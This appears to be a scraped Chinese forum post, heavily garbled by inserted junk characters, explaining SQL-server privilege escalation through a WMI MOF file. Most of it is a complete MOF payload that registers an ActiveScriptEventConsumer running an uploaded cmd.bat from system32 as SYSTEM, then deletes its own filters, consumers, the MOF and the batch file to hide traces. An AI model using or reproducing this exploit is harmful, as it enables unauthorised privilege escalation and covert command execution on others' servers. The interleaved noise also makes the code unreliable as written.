这个sql提权MOF需要运行 system下的文件,不能定义路径。1 x$ I% M7 j. t/ G- s% s2 P- N* I
需要将要运行的命令写入到bat上传到system32目录,然后执行。
" e! d3 ]( E |7 C" c! G+ t; {9 S9 L* m
这个sql提权MOF需要运行 system下的文件,不能定义路径。
7 `7 I3 ?# F9 I6 K( B& a需要将要运行的命令写入到bat上传到system32目录,然后执行。6 f! K* w8 P5 K5 l' P/ H
( R: ?1 G0 b9 _7 h
#pragma
5 m2 [) q% Q5 T2 @8 n& K8 Q, ?: w namespace("\\\\.\\root\\cimv2")
; `2 d/ \ U- f7 l L class( p: j8 N. j9 K* a! w+ F
MyClass547
' P8 N2 F+ B( U$ K% Y0 Z { [key]* e- G# u( u! _# a) ]2 k- H
string
6 f4 l4 |1 [4 m- F! W2 I Name;& |' X8 W1 o3 t# N0 S; Y5 `
};7 v+ g, |! p" d9 Z) h4 c
class+ n8 G1 q, w% y" ~' l% @
ActiveScriptEventConsumer
+ l- v* |, K. }7 y/ x& T- f/ s : __EventConsumer { [key]4 Y0 I2 B) S, z- Z. R" A) S
string
, a6 B% k* w+ a) I! c$ {4 A Name; [not_null]
1 q d7 O2 @( C$ Q8 S7 P string
2 S3 E6 C! ?1 m$ d3 k0 V4 P ScriptingEngine; string
& R1 b6 f, a3 b5 H2 J# r0 v" J ScriptFileName; [template]
! c( _- x t0 Q( X* o4 g( `/ p string! @0 [! H9 ]5 p- E! c2 @6 C
ScriptText; uint32 KillTimeout;
# ~. n5 q' U' p: o( p, L }; instance of __Win32Provider as $P {8 y3 t% [+ m% F4 I- Y3 j0 u
Name
( V. b$ h$ ]8 l I9 g =9 t; X: I0 N' [3 D% h9 C
"ActiveScriptEventConsumer"; CLSID =) Z3 N" r9 U6 s$ s! ?( b
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
0 @' K' {2 d7 Z" h PerUserInitialization# q: h3 ?2 L8 z) P1 a
= TRUE;
- p r, M( H* }, P }; instance of __EventConsumerProviderRegistration { Provider, V& g: g- B' ~/ X. [% S% D; R
= $P; ConsumerClassNames; c9 }% Z. N; B+ g9 |4 T! L
=
4 H2 ?) k# [+ R {"ActiveScriptEventConsumer"};+ ?2 {7 O3 n# I& [: }/ W# n
};+ n5 [+ l; S; l5 k! r5 D4 n" s
Instance of ActiveScriptEventConsumer7 q8 b. Z1 t2 d" n ]5 k3 g' `
as $cons { Name
! R' F5 z2 a w =
6 o" h Y; k: P4 ~( Y "ASEC"; ScriptingEngine
' i* m+ G( E. Y; V; w, q! g =2 m5 e7 D& ^8 q1 A: v2 B- a; v
"JScript"; ScriptText
& w: r5 c) C+ ~0 k8 i" u8 E =6 Y# _7 N; V9 V: \# K0 I! N+ e7 ]* B
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
2 Q" \$ m' \' [7 O) x) e Instance of ActiveScriptEventConsumer0 t! u, j: q: `5 e. d
as $cons2 { Name: i' H7 ?" u; l/ V |: |; P' f
=
0 x+ ~% \9 J$ j2 ]" u: A0 Q "qndASEC"; ScriptingEngine8 p2 P3 n [1 V* Q# y" m. Z4 u3 P
=
) j1 |( L0 h# Q- A( e: X' o7 { "JScript"; ScriptText
4 ]5 ?) s& O6 g0 I4 U: Y& u =! G- R O, \, R u! I+ R, O
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";2 k3 d4 e. I' w+ m4 d* f* o3 i
}; instance of __EventFilter as $Filt { Name2 w+ o9 H1 g( o( `7 D3 m- j! G! b
=% C k8 K1 k8 W" j" f% t
"instfilt"; Query5 N: C8 f; t! J: P7 {& i c
=4 @5 c* H" F5 c" n" H' C9 F* G
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
; }2 o* E0 Y: b8 h2 e0 J& C f =
$ o; F: Q( H2 \0 d: j4 b "WQL"; }; instance of __EventFilter as $Filt2 { Name, Y4 G/ U$ ^- A8 j
=
! e1 s2 J4 a1 u- { "qndfilt"; Query) \9 i& O. X- J9 [9 a* O# A. y' h
=
* H, y0 O5 w9 S. a8 Q! R "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage+ W/ i# s8 J7 _" D; D* I' {, k
=( N+ d! j( c! Z4 I( [
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
) n, |4 r' f: e, j' V/ o9 t& U7 t8 z = $cons; Filter. C) y3 `" _, s: M3 X v- C+ O
= $Filt;
/ a# P& s/ L; k. P2 h% D" x1 Q }; instance of __FilterToConsumerBinding as $bind2 { Consumer/ Y5 s0 d2 t. y. J. K& Y9 c
= $cons2; Filter
+ M- m) [1 h, y+ Z' l = $Filt2;' t* P" j# s0 {: ~
}; instance of MyClass547
6 v$ R$ N: Y$ z7 g7 J) J as $MyClass { Name( B# Q/ [7 B1 U% C; l% y# l B
=
& X7 {, F& c7 _: q' N! I; ^+ h "ClassConsumer";
+ \1 z3 Y; X" u8 ]- H- [+ u4 s }; |